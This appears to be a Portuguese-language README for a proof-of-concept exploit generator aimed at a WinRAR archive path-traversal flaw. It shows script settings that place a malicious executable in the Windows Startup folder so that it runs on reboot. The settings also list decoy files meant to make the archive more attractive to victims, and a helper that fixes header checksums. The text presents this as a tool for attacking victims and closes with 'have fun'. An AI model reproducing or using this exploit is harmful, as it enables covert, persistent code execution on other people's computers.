
exp para Extraindo Execução de Código do Winrar
poc por Ridter
como usar?
você só precisa instalar o python 3.7, preparar um arquivo malicioso que deseja executar, definir os valores que deseja, este script exp gerará o arquivo malicioso automaticamente!
... ...
# The archive filename you want
rar_filename = "test.rar"
# The evil file you want to run
evil_filename = "calc.exe"
# The decompression path you want, such shown below
target_filename = r"C:\C:C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hi.exe"
# Other files to be displayed when the victim opens the winrar
# filename_list=[]
filename_list = ["hello.txt", "world.txt"]
... ...
def get_right_hdr_crc(filename):
# This command may be different, it depends on the your Python3 environment.
p = os.popen('py -3 acefile.py --headers %s'%(filename))
res = p.read()
pattern = re.compile('right_hdr_crc : 0x(.*?) | struct')
result = pattern.findall(res)
right_hdr_crc = result[0].upper()
return hex2raw4(right_hdr_crc)
... ...
execute o exp, o exp gerou o test.rar automaticamente
se a vítima abrir o test.rar, ela verá os arquivos hello.txt e world.txt, você também pode adicionar mais arquivos, arquivos mais atraentes.
![]()
hi.exe, na verdade é um calc.exe. ao reiniciar o computador, o hi.exe será executado.![]()
divirta-se! :)